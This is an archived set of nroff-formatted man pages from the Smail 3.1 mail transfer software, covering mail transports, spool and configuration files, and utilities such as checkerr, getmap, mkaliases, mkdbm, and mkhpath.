_/_u_s_r_/_l_i_b_/_m_a_i_l_/_p_a_t_h_s _u_u_c_p___n_e_i_g_h_b_o_r_s resolution of neighboring hosts on a UUCP network by calling the program _u_u_n_a_m_e _(_1_) _s_m_a_r_t___h_o_s_t a smarthost router may also be defined. The default transport configuration defines: _l_o_c_a_l deliver mail to local users. Usually, delivery is accomplished by writing directly to user mailbox files (either in _/_u_s_r_/_m_a_i_l or in _/_u_s_r_/_s_p_o_o_l_/_m_a_i_l). Local 1 February 1988 71 SMAIL(5) SMAIL(5) Alternately, mail may be delivered by calling a program, such as _/_b_i_n_/_m_a_i_l or _/_b_i_n_/_l_m_a_i_l to perform delivery using system-dependent conventions. _p_i_p_e deliver mail to shell command addresses. Shell- command addresses begin with a pipe character (|). The pipe character is stripped from the address and the remainder of the address is passed as a command to _/_b_i_n_/_s_h. Shell-command addresses can be gener- ated by mailing lists or forwarding files, but can- not be specified as input to smail. _f_i_l_e deliver mail to file addresses. File addresses begin with a / or ~ character. If a file address begins with the ~ character followed by the name of a local user, then the ~ and username is replaced by the user's home directory. If a file address begins with ~/, then the ~/ sequence is replaced by a home directory that is appropriate to the context of the address. Normally, ~/ is used within the context of addresses specified in a user's .forward file. _u_u_x invoke _u_u_x to deliver mail to a remote _r_m_a_i_l pro- gram. The --rr option is given to _u_u_x to prevent an immediate poll. _d_e_m_a_n_d this is similar to the _u_u_x transport, except that the --rr is not supplied. This will request that UUCP attempt to poll the remote site immediately. _u_u_s_m_t_p _d_e_m_a_n_d___u_u_s_m_t_p invoke _u_u_x to deliver mail to a remote _r_s_m_t_p pro- gram (supplied in the Smail3.1 distribution). The transmitted message will be encapsulated in an envelope of SMTP directives, with addresses passed in through the SMTP envelope rather than in the argument list to _u_u_x. This works better than the standard _r_m_a_i_l protocol, because quoted addresses can pass through unscathed, and because no limits are given on the number of addresses that can be given in a single transfer. This last point can significantly reduce the number of uux transfers needed for large mailing lists, since the normal method of using _r_m_a_i_l is limited by _u_u_x's internal limit of (usually) 300 characters of worth of argu- ments. Note that the _u_u_s_m_t_p transports are not likely to be useful unless both the receiving host also uses Smail 3.1. The _u_u_s_m_t_p transport passes the --rr option to uux, Local 1 February 1988 72 SMAIL(5) SMAIL(5) while the _d_e_m_a_n_d___u_u_s_m_t_p transport does not. Also, the uuuuccpp generic transport attribute is used by _u_u_s_m_t_p and _d_e_m_a_n_d___u_u_s_m_t_p to transfer addresses in accordance with the RFC976 specification. This violates the RFC821 and RFC1123 specifications, but is none-the-less useful between sites operating in the UUCP zone. _i_n_e_t___u_u_s_m_t_p _i_n_e_t___d_e_m_a_n_d___u_u_s_m_t_p These transports are identical to the _u_u_s_m_t_p and _d_e_m_a_n_d___u_u_s_m_t_p transports, except that the iinneett transport attribute is enabled, and the uuuuccpp attribute is disabled. This causes mail addresses to be transferred in accordance with the SMTP spec- ification. If routing is required to reach a des- tination, then route-addr addresses are generated (e.g., <@host1,@host2:user@destination>). _s_m_t_p _u_u_c_p___z_o_n_e___s_m_t_p _i_n_e_t___z_o_n_e___s_m_t_p deliver mail to a remote host by using the SMTP protocol over a TCP/IP connection. If used in con- junction with the _b_i_n_d router, MX records will be handled in accordance with RFC974 and the RFC1123 updates to RFC974. The _u_u_c_p___z_o_n_e___s_m_t_p attribute has the uuuuccpp transport attribute set, causing transferred addresses to use !-style addresses, as specified in RFC976. This can often be useful when using SMTP within the UUCP zone, but is otherwise inappropriate. The _i_n_e_t___z_o_n_e___s_m_t_p attribute has the iinneett transport attribute set, causing transferred addresses to conform to the RFC821 and RFC1123 specifications for SMTP. This is necessary for correct operation with arbitrary nodes on the Internet. Both the _u_u_c_p___z_o_n_e___s_m_t_p and _i_n_e_t___z_o_n_e___s_m_t_p attributes will handle generated routes (from paths files) cor- rectly between nodes running Smail3.1. The _i_n_e_t___z_o_n_e___s_m_t_p transport will use route-addr addresses for routing despite RFC1123's recommenda- tions against such a practice. However, generated routes should never be necessary on the Internet. The _s_m_t_p transport is identical to either the _u_u_c_p___z_o_n_e___s_m_t_p transport or the _i_n_e_t___z_o_n_e___s_m_t_p transport, depending upon local configuration information specified when the smail program is compiled. This depends upon the setting of the UUCP_ZONE attribute in the _c_o_n_f_/_E_D_I_T_M_E file. Local 1 February 1988 73 SMAIL(5) SMAIL(5) _l_o_c_a_l___u_u_x _l_o_c_a_l___d_e_m_a_n_d _l_o_c_a_l___u_u_s_m_t_p _l_o_c_a_l___d_e_m_a_n_d___u_u_s_m_t_p _l_o_c_a_l___s_m_t_p These transports are identical to the _u_u_x, _d_e_m_a_n_d, _u_u_s_m_t_p, _d_e_m_a_n_d___u_u_s_m_t_p, and _s_m_t_p transports, except that they have the llooccaall__xxffoorrmm generic transport attribute enabled, and the uuuuccpp and iinneett attributes disabled. This causes mail to be transferred to the remote site as if the mail were local to the remote site. This is useful within closely coordi- nated networks where usernames and central mailing lists are kept consistent or are processed by cen- tral nodes. FFIILLEESS The following files and directories are from a typical _s_m_a_i_l configuration: _/_u_s_r_/_l_i_b_/_m_a_i_l_/_c_o_n_f_i_g Optional general _s_m_a_i_l configuration. This file can override compiled-in configuration. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_t_r_a_n_s_p_o_r_t_s Optional configuration for _s_m_a_i_l transports; i.e., configured methods of mail delivery. This file replaces the compiled-in transport configura- tion. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_d_i_r_e_c_t_o_r_s Optional configuration for _s_m_a_i_l directors, i.e., configured methods for resolving local addresses. This file replaces the compiled-in direc- tor configuration. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_r_o_u_t_e_r_s Optional configuration for _s_m_a_i_l routers, i.e., configured methods for resolving or routing to remote hosts. This file replaces the compiled-in router configuration. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_a_l_i_a_s_e_s A file of aliases for local addresses. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_p_a_t_h_s A file of paths to remote hosts. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_l_i_s_t_s_/ A directory of mailing list files. _~_/_._f_o_r_w_a_r_d Lists of forwarding addresses for local users. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l The top of the spool directory hier- archy. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_i_n_p_u_t The directory containing messages to be processed and delivered. Local 1 February 1988 74 SMAIL(5) SMAIL(5) _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_m_s_g_l_o_g A directory of transaction logs for individual messages. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_c_k A directory used in _s_m_a_i_l input spool files. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_l_o_g_f_i_l_e A log of smail transactions. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_p_a_n_i_c_l_o_g A log of configuration or system errors encountered by _s_m_a_i_l. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_e_r_r_o_r Messages that failed due to a small set of fatal error such as a configu- ration error are placed in this directory. Currently the site admin- istrator must move these back into _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_i_n_p_u_t when the error condition is resolved. _/_u_s_r_/_s_p_o_o_l_/_m_a_i_l The directory for user mailbox files. SSEEEE AALLSSOO _b_i_n_m_a_i_l(1), _m_a_i_l_x(1) under System V, _M_a_i_l(1) under BSD, _r_e_s_o_l_v_e_r(3), _n_a_m_e_d(8), _p_a_t_h_t_o(1), _s_m_a_i_l(8). _S_m_a_i_l _A_d_m_i_n_i_s_t_r_a_t_i_o_n _a_n_d _I_n_s_t_a_l_l_a_t_i_o_n _G_u_i_d_e. DARPA Internet Requests for Comments RFC821, RFC822, RFC974, RFC976, and RFC1123. BBUUGGSS Colons cannot be included in the value of a list element. There should be a way of specifying that different errors encountered by smail should result in different actions (i.e., mailing a message to the postmaster, storing a detailed error message in a file). CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 1 February 1988 75 smail-doc/man8/ 40755 3 3 0 5575353514 11147 5ustar binbinsmail-doc/man8/checkerr100644 3 3 15673 5575353302 13004 0ustar binbin CHECKERR(8) CHECKERR(8) NNAAMMEE checkerr - check for serious errors encountered by smail SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//cchheecckkeerrrr DDEESSCCRRIIPPTTIIOONN _C_h_e_c_k_e_r_r reads through the spool area used by _s_m_a_i_l(8) and looks for serious processing errors detected by smail. Whenever new errors are detected, a summary is mailed to ``Postmaster,'' which is assumed to be an address for the user who is responsible for maintaining the smail software and configuration. In addition to this, a number of cleanup operations are performed. _C_h_e_c_k_e_r_r should be run periodically from _c_r_o_n(8). Once per day should be sufficient. Make certain that checkerr is executed under a user and group ID that can write to the directories in the smail spool areas. The _c_h_e_c_k_e_r_r detects message spool files under the smail _e_r_r_o_r directory. If any files have appeared since the last time _c_h_e_c_k_e_r_r was executed, a summary is mailed to the Postmaster. A quick check is made to determine if mail to ``Postmaster'' will actually succeed. If not, the error summary is left in the file _._c_h_e_c_k_e_r_r_o_r in the _e_r_r_o_r directory. The error summary mailed to the Postmaster will include any logged information pertaining to the failed messages. The per-message transaction log, the smail transaction log and the panic log are all used as sources of this informa- tion. FFIILLEESS _/_u_s_r_/_l_i_b_/_m_a_i_l_/_c_o_n_f_i_g The main smail configuration file. A sec- ond smail configuration file can also be specified in _c_o_n_f_i_g. _/_b_i_n_/_s_m_a_i_l The default executable used for attempting to deliver error summaries to the postmas- ter. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_l_o_g_f_i_l_e The default name for the transaction log file. This can be changed in the smail config file. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_O_L_D _/_l_o_g_f_i_l_e_._0 Archived version of the transaction log file. The directory "/usr/spool/smail/log/OLD" is changed to be under the directory where the logfile Local 31 January 1988 1 CHECKERR(8) CHECKERR(8) resides, and thus can be changed in the smail config file. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_O_L_D _/_l_o_g_f_i_l_e_._1_._Z Previous compressed archive version of the transaction log file. The directory "/usr/spool/smail/log/OLD" is changed to be under the directory where the logfile resides, and thus can be changed in the smail config file. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_p_a_n_i_c_l_o_g The default name for the panic log file. This can be changed in the smail config file. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_O_L_D _/_p_a_n_i_c_l_o_g_._0 Archive for the panic log file. This can be changed in the smail config file. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_O_L_D _/_p_a_n_i_c_l_o_g_._1_._Z Previous compressed archive for the panic log file. This can be changed in the smail config file. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l The top of the default smail spool direc- tory tree. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_i_n_p_u_t The directory into which incoming messages are spooled. Each file in this directory has a unique 14 character name derived from the message ID used internally by the _s_m_a_i_l program. Delivery is attempted at inter- vals for each of these files. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_c_k A directory containing lock files. On sys- tems which do not have an efficient file locking primative, files are created under this directory to prevent simultaneous pro- cessing of messages by concurrant invoca- tions of the _s_m_a_i_l program. _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_m_s_g_l_o_g A directory containing per-message transac- tion logs. _S_m_a_i_l maintains these logfiles to keep track of which recipients have received a particular mail message, and what errors have so far been found while delivering. These files are removed auto- matically by smail processing of a message has completed. Local 31 January 1988 2 CHECKERR(8) CHECKERR(8) _/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_e_r_r_o_r If a mail messages fails for a reason that requires attendance by the site administra- tor, it is moved into this directory to prevent smail from continuing to attempt delivery. SSEEEE AALLSSOO _c_r_o_n(8), _s_m_a_i_l(5) and _s_m_a_i_l(8). CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 3 smail-doc/man8/getmap100644 3 3 32263 5575353315 12471 0ustar binbin GETMAP(8) GETMAP(8) NNAAMMEE getmap - unshar USENET map articles into a map directory SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//ggeettmmaapp [ --mm _m_a_p_d_i_r ] [ --ww _w_o_r_k_d_i_r ] [ --bb _b_a_t_c_h ] [ --uu _a_d_d_r_e_s_s ] [ --nn _n_e_w_s_g_r_o_u_p_s ] [ --ss _n_e_w_s_s_p_o_o_l_d_i_r ] //uussrr//lliibb//mmaaiill//uunnsshhaarrmmaapp [ --dd _d_i_r ] [ --nn _n_e_w_s_g_r_o_u_p_s ] [ --ss _n_e_w_s_s_p_o_o_l_d_i_r ] DDEESSCCRRIIPPTTIIOONN The _g_e_t_m_a_p command reads the file _b_a_t_c_h to obtain a list of article files formatted in the style of USENET ccoommpp..mmaaiill..mmaappss. It then uses _u_n_s_h_a_r_m_a_p to extract maps from these articles into the directory _m_a_p_d_i_r_. These maps are intended to be used as input data to _p_a_t_h_a_l_i_a_s(8). The program _u_u_w_h_o(1) prints individual map entries from the extracted map files. OOPPTTIIOONNSS The following options are recognized by _g_e_t_m_a_p: --mm _m_a_p_d_i_r Extracted map files will be placed in the directory _m_a_p_d_i_r, rather than the default directory _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s. --ww _w_o_r_k_d_i_r The directory _w_o_r_k_d_i_r will be used for working storage for _g_e_t_m_a_p _. The log and error log files _g_e_t_m_a_p_._l_o_g and _g_e_t_m_a_p_._e_r_r will also be placed in this directory. --bb _b_a_t_c_h Use _b_a_t_c_h, rather than _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_b_a_t_c_h, as the name of the file containing the list of new mail message files. A _b_a_t_c_h file of -- implies that the list of articles is to be read from standard input. If _b_a_t_c_h is not -- then _b_a_t_c_h_._w_o_r_k is used as both the lock file and the work file. --uu _a_d_d_r_e_s_s If _g_e_t_m_a_p encounters an error, then the contents of the error log file will be mailed to _a_d_d_r_e_s_s rather than the default address of PPoossttmmaasstteerr. If _a_d_d_r_e_s_s is -- then the error log is written to standard error rather than mailed to some user. --nn _n_e_w_s_g_r_o_u_p_s Specifiy the list of allowed newsgroups for arti- cles. Multiple newsgroups can be specified, sepa- rated by single colons. The default list is ``comp.mail.maps.'' Local 31 January 1988 1 GETMAP(8) GETMAP(8) --ss _n_e_w_s_s_p_o_o_l_d_i_r Specify the top-level directory of the news article hierarchy. Batch files created by C News contain pathnames that are relative to this directory. The default news spool directory is /usr/spool/news. Even though the default values for _m_a_p_d_i_r _, _w_o_r_k_d_i_r _a_n_d _b_a_t_c_h are found in the same directory tree, the options --mm, --ww and --bb set locations independent of each other. E.g., --mm does not change _w_o_r_k_d_i_r _. The following options are recognized by uunnsshhaarrmmaapp: --dd _d_i_r Map files are extracted into _d_i_r rather than the current directory. --nn _n_e_w_s_g_r_o_u_p_s Specifiy the list of allowed newsgroups for arti- cles. Multiple newsgroups can be specified, sepa- rated by single colons. The default list is ``comp.mail.maps.'' --ss _n_e_w_s_s_p_o_o_l_d_i_r Specify the top-level directory of the news article hierarchy. Batch files created by C News contain pathnames that are relative to this directory. If this option is not specified, the batch file must contain pathnames that begin with //. However, if invoked from _g_e_t_m_a_p, this defaults to /usr/spool/news. GGEETTMMAAPP OOPPEERRAATTIIOONN The _b_a_t_c_h file contains a list of article filenames, one per line. Article files are files formatted in the style of articles received by the USENET news service in the newsgroup ccoommpp..mmaaiill..mmaappss. The _g_e_t_m_a_p program uses _u_n_s_h_a_r_m_a_p to extact a map file from each artcile named in the _b_a_t_c_h file. All extacted map articles are placed in the directory _m_a_p_d_i_r. A log of each article file is obtained from the standard output of _u_n_s_h_a_r_m_a_p and appended to the file _g_e_t_m_a_p_._l_o_g located in the _w_o_r_k_d_i_r directory. At invocation, _g_e_t_m_a_p attemps to move _b_a_t_c_h to a file with a _._w_o_r_k suffix. (i.e., _b_a_t_c_h is moved to _b_a_t_c_h_._w_o_r_k _._) If _b_a_t_c_h_._w_o_r_k already exists, _g_e_t_m_a_p will abort. In this way, the _b_a_t_c_h_._w_o_r_k serves as a lock file. If _b_a_t_c_h is -- then article file names are obtained form standard input. In this case, the _b_a_t_c_h_._w_o_r_k file is not formed. The file _g_e_t_m_a_p_._l_o_g in the directory _w_o_r_k_d_i_r contains a history of _g_e_t_m_a_p processing and errors. At the start of a given _g_e_t_m_a_p run, the error log file _g_e_t_m_a_p_._e_r_r in the directory _w_o_r_k_d_i_r is cleared. During _g_e_t_m_a_p execution, Local 31 January 1988 2 GETMAP(8) GETMAP(8) each line written to the log file is also written to the error log file. If any error conditions are encountered, the error log is mailed to _a_d_d_r_e_s_s_. If _a_d_d_r_e_s_s is -- then the error log is written to standard error. If no errors are encountered, the error log is removed, otherwise it is left behind until a future _g_e_t_m_a_p run clears it. UUNNSSHHAARRMMAAPP OOPPEERRAATTIIOONN The _u_n_s_h_a_r_m_a_p program is used by _g_e_t_m_a_p to extract maps out of article files. Article file names are read from standard input, one file per line. The map file name is obtained form the article file and the map contents are written into the _d_i_r direc- tory. Old map files are overwritten. For each map file, _u_n_s_h_a_r_m_a_p writes the following informa- tion to standard output: name of the article file name of the extracted map file Subject line Message-ID line article Date Approved line Each article file contains a news header, a blank line, and an article body. The header, which starts on the first line and continues until a blank line is encoun- tered, which separates the header from the body. The header is expected to contain at least the following header fields: Newsgroups: comp.mail.maps Subject: UUCP ... Message-ID: ... Date: ... Approved: ... For any line above, containing `...', the `...' string can match any sequence of characters within a field, where other characters in the field must match exactly, indepen- dently of case. The body for each article file is expected to begin with zero or more lines beginning with the character `:', fol- lowed by the two lines: echo shar: extracting _m_a_p_-_n_a_m_e cat << 'SHAR_EOF' > _m_a_p_-_n_a_m_e where _m_a_p_-_n_a_m_e is the map to be extracted. What follows are the file contents to be placed in the map file, fol- lowed by the three lines: SHAR_EOF Local 31 January 1988 3 GETMAP(8) GETMAP(8) : End of shell archive exit 0 IINNTTEERRFFAACCIINNGG GGEETTMMAAPP WWIITTHH NNEETTNNEEWWSS To interface _g_e_t_m_a_p with the netnews software, version 2.10 or 2.11, add a line to your _s_y_s file (see _n_e_w_s(5)) containing: maps:comp.mailmaps,world:F:_b_a_t_c_h where _b_a_t_c_h is the full pathname to _g_e_t_m_a_p's _b_a_t_c_h file. Normally _b_a_t_c_h is _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_b_a_t_c_h. The _g_e_t_m_a_p program should be run on a periodic basis under a user and group ID that can write to the map directory. See _s_m_a_i_l_c_r_o_n(8) for details. FFIILLEESS _/_u_s_r_/_s_p_o_o_l_/_n_e_w_s The default top-level directory used for obtaining news articles. _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s The default directory for maps extraction. Map files broadcast in ccoommpp..mmaaiill..mmaappss begin with either ``u.'' or ``d.'' and have a name indicating which region of the world they represent. _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_b_a_t_c_h The default work file used containing art- cile filenames. _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_b_a_t_c_h_._w_o_r_k The default work file copy created while processing the input pathnames. This file also serves as a lock file for similar _g_e_t_m_a_p executions. _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_g_e_t_m_a_p_._l_o_g The default history log of _g_e_t_m_a_p activity and errors. _/_u_s_r_/_s_p_o_o_l_/_u_u_m_a_p_s_/_w_o_r_k_/_g_e_t_m_a_p_._e_r_r The default error log of the previous _g_e_t_m_a_p execution. This is mailed to PPoosstt-- mmaasstteerr if an error occured, otherwise it is removed. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_u_n_s_h_a_r_m_a_p The program that does the real work of extracting map files from netnews articles. _/_b_i_n_/_s_m_a_i_l The program used in mailing the _g_e_t_m_a_p_._e_r_r Local 31 January 1988 4 GETMAP(8) GETMAP(8) error log. SSEEEE AALLSSOO _n_e_w_s(5), _i_n_e_w_s(1), _s_m_a_i_l(5), _a_r_t_i_c_l_e(5), _s_m_a_i_l(8), _s_m_a_i_l_- _c_r_o_n(8), _u_u_w_h_o(1), _m_k_p_a_t_h(8) and _p_a_t_h_a_l_i_a_s(8). BBUUGGSS The format of USENET articles is subject to change at the whim of a few USENET map people. some articles may not be processed. Most netnews software does an open, write and close for each filename written to the _b_a_t_c_h file. In rare cases, the _b_a_t_c_h file may be left opened when _g_e_t_m_a_p moved it to _b_a_t_c_h_._w_o_r_k. In this case, the last article may be ignored. CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 5 smail-doc/man8/mkaliases100644 3 3 7052 5575353333 13143 0ustar binbin MKALIASES(8) MKALIASES(8) NNAAMMEE mkaliases - build the aliases database for smail from the ASCII source file SSYYNNOOPPSSIISS mmkkaalliiaasseess DDEESSCCRRIIPPTTIIOONN _M_k_a_l_i_a_s_e_s reads the ASCII source file for an aliases database and builds the aliases database according to the configuration information in _/_u_2_/_n_e_t_w_o_r_k_i_n_g_/_s_m_a_i_l_-_3_._1_._2_8_/_c_o_n_f_/_E_D_I_T_M_E. Run this program whenever changes have been made to the ASCII source file. If this program is not used, smail may not notice the changes that have been made. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_n_e_w_a_l_i_a_s_e_s is another name for the mkaliases program and is retained for compatibility with BSD _s_e_n_d_m_a_i_l(8) configurations. The aliases database can be in a _d_b_m(3X) database, a sorted text file, or a plain text file. In the latter case, the ASCII source file doubles as the database file. In the case of an aliases database accessed through the Sun YP service, _m_k_d_b_m(8) or the sun _m_a_k_e_d_b_m(8) program must be used to build the YP database. See the _S_m_a_i_l _A_d_m_i_n_i_s_t_r_a_t_i_o_n _G_u_i_d_e (as yet unwritten) for more informa- tion on interfacing smail to the YP service. The _m_k_l_i_n_e(8) program, distributed with smail, is used to remove comments and regularize the aliases file. Then, for sorted databases, the _m_k_s_o_r_t(8) program, with the --ff option, is used to create the sorted database. For _d_b_m databases, the _m_k_d_b_m(8) program, again with the --ff option, is used to create the database. In either case, care is taken to ensure that smail never uses a truncated or par- tially built database. For plain text databases, a sum- mary of the contents is displayed, but no changes are actually made. If the aliases file is accessed through the YP service, a messages is displayed stating this and no changes are actually made. FFIILLEESS _/_u_s_r_/_l_i_b_/_m_a_i_l_/_a_l_i_a_s_e_s The name of the aliases database. This is a plain text file. _/_u_2_/_n_e_t_w_o_r_k_i_n_g_/_s_m_a_i_l_-_3_._1_._2_8_/_c_o_n_f_/_E_D_I_T_M_E The file giving the default con- figuration for smail. SSEEEE AALLSSOO _m_k_l_i_n_e(8), _m_k_s_o_r_t(8), _m_k_d_b_m(8), _s_m_a_i_l(5), _s_m_a_i_l(8), _y_p_c_l_n_t(3), and _d_b_m(3X). CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Local 31 January 1988 1 MKALIASES(8) MKALIASES(8) Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 2 smail-doc/man8/mkdbm100644 3 3 12213 5575353350 12276 0ustar binbin MKDBM(8) MKDBM(8) NNAAMMEE mkdbm - build a DBM file suitable for use by smail SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//mmkkddbbmm [ --ff ] [ --vv ] [ --nn ] [ --dd ] [ --yy ] [ --oo _o_u_t_p_u_t_-_n_a_m_e ] [ _f_i_l_e ... ] DDEESSCCRRIIPPTTIIOONN _M_k_d_b_m takes lines as input and writes them to a set of files in the format produced by the _d_b_m(3X) function library. The key is formed from the characters up to, but not including, a colon (``:'') or white space character. The data after the colon or white space character forms the value associated with the key. If --ff is given, the key is folded to lower case before being stored in the database. If no input files are specified, the standard input is read. In addition, if a filename of -- is given, the stan- dard input is inserted at that point. The --oo option sets the name for the DBM database. If not specified explicitly, the name of the database is taken from the first _f_i_l_e argument. If no _f_i_l_e arguments are given, or the first file argument is -- then a database is created in the current directory with the name _d_b_m. The _m_k_d_b_m program can be used to produce DBM files which can then be read by a _s_m_a_i_l(8) pathalias router or alias- file director. The router or directory should be config- ured to use the _d_b_m file access protocol. See _s_m_a_i_l(5) for more information on routers and directors. For some databases, _m_k_l_i_n_e(8) should be used to form single line records with comments and extra white-space removed. The generated database contains a single nul byte at the end of each key and value. Also a single record contain- ing ``@'' as a key and value is created for compatibility with the Berkeley _s_e_n_d_m_a_i_l(8) program's alias files. The ending nul bytes can be suppressed with the --nn option, and the extra ``@'' record can be suppressed with the --dd option. Use of --nn is incompatible with the smail ddbbmm file access method. When creating the database, temporary DBM files are built in the same directory as the eventual output files. Then, when it is completed, any DBM files currently existing under the target name are removed, _m_k_d_b_m sleeps between one and two seconds, and then the temporary DBM files are moved to the target names. This database creation method is not compatible with the locking method used by Berkeley _s_e_n_d_m_a_i_l. If the --vv flags is specified _m_k_d_b_m writes statistics to Local 31 January 1988 1 MKDBM(8) MKDBM(8) the standard output. The --yy flag is used to create YP-compatible dbm files. This obviates the need for keeping sendmail around to recreate the YP alias database. Calling _m_k_d_b_m with the arguments --yynndd generates dbm files that are compatible with regular YP databases. Using just the argument --yy generates a database that is compatible with the YP mail.alias database. EEXXAAMMPPLLEE As an example of the use of _m_k_d_b_m consider a file, _p_a_t_h_s, containing the routing information: .COM sun!%s Stargate.COM ames!cmcl2!uiucdcs!stargate!%s ames ames!%s .ATT.COM mtune!%s mtune mtune!%s Given this file, the command _m_k_d_b_m _-_f _p_a_t_h_s will produce a dbm database in the files _p_a_t_h_s_._p_a_g and _p_a_t_h_s_._d_i_r contain- ing the above entries, with downcased keys. For example, one entry will contain the key _s_t_a_r_g_a_t_e_._c_o_m with an asso- ciated value of _a_m_e_s_!_c_m_c_l_2_!_u_i_u_c_d_c_s_!_s_t_a_r_g_a_t_e_!_%_s. SSEEEE AALLSSOO _m_k_a_l_i_a_s_e_s(8), _m_k_l_i_n_e(8), _m_k_s_o_r_t(8), _s_m_a_i_l(5), _s_m_a_i_l(8), _p_a_t_h_a_l_i_a_s(8). FFIILLEESS dbmXXXXXX.pag dbmXXXXXX.dir The temporary files created in the same directory as the eventual output files. CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 2 smail-doc/man8/mkhpath100644 3 3 7214 5575353365 12633 0ustar binbin MKHPATH(8) MKHPATH(8) NNAAMMEE mkhpath - produce path data from an /etc/hosts file SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//mmkkhhppaatthh [ --nn _n_e_t_n_a_m_e ] [ --cc _c_o_s_t ] [ --gg _g_a_t_e_w_a_y ] [ --dd ] [ -- | _f_i_l_e_n_a_m_e ] DDEESSCCRRIIPPTTIIOONN _M_k_h_p_a_t_h takes as input a _h_o_s_t_s file, in the format of the 4.3BSD file _/_e_t_c_/_h_o_s_t_s, and creates path data suitable for use by a _s_m_a_i_l(8) ppaatthhaalliiaass router (see _s_m_a_i_l(5) for information on routers). The output is also suitable for merging in with the output of _p_a_t_h_a_l_i_a_s(8), and can be made suitable as input to _p_a_t_h_a_l_i_a_s. The hostnames _l_o_c_a_l_h_o_s_t and _l_o_g_h_o_s_t are ignored, as are any domain names (names containing dot characters). This command is useful for sending information about a network's connectivity to hosts that are not on that net- work. As a general rule, the smail ggeetthhoossttbbyynnaammee router driver precludes the need for this tool. OOPPTTIIOONNSS The following options are recognized by _m_k_h_p_a_t_h: --nn _n_e_t_n_a_m_e Generate output which is suitable as input to _p_a_t_h_a_l_i_a_s(8) as a description of an interconnected network named _n_e_t_n_a_m_e connecting together all hosts named in the _h_o_s_t_s file. --cc _c_o_s_t Set the cost for the network gateway to _c_o_s_t. This may be any valid _p_a_t_h_a_l_i_a_s cost expression and is only useful with the --nn option. --gg _g_a_t_e_w_a_y Set the gateway for all of the hosts in the _h_o_s_t_s file to _g_a_t_e_w_a_y_. This can be used either with or without the --nn option. If neither --gg nor --nn are used, then the local host is assumed to connect to all of the hosts directly. --dd Only use lines that contain a domain name (i.e., a name containing one or more dots) as one of the names for a host. Such domain names are not used themselves, but lines that do not contain any domain names are ignored. If a _f_i_l_e_n_a_m_e argument is used, then the host information is read from this file. If an argument of -- is specified instead, then the standard input is used. Otherwise the file _/_e_t_c_/_h_o_s_t_s is used to obtain host information. Local 31 January 1988 1 MKHPATH(8) MKHPATH(8) SSEEEE AALLSSOO _p_a_t_h_a_l_i_a_s(8), _s_m_a_i_l(5), _s_m_a_i_l(8), _m_k_p_a_t_h(8), and _p_a_t_h_- _m_e_r_g_e(8). CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 2 smail-doc/man8/mkline100644 3 3 7463 5575353376 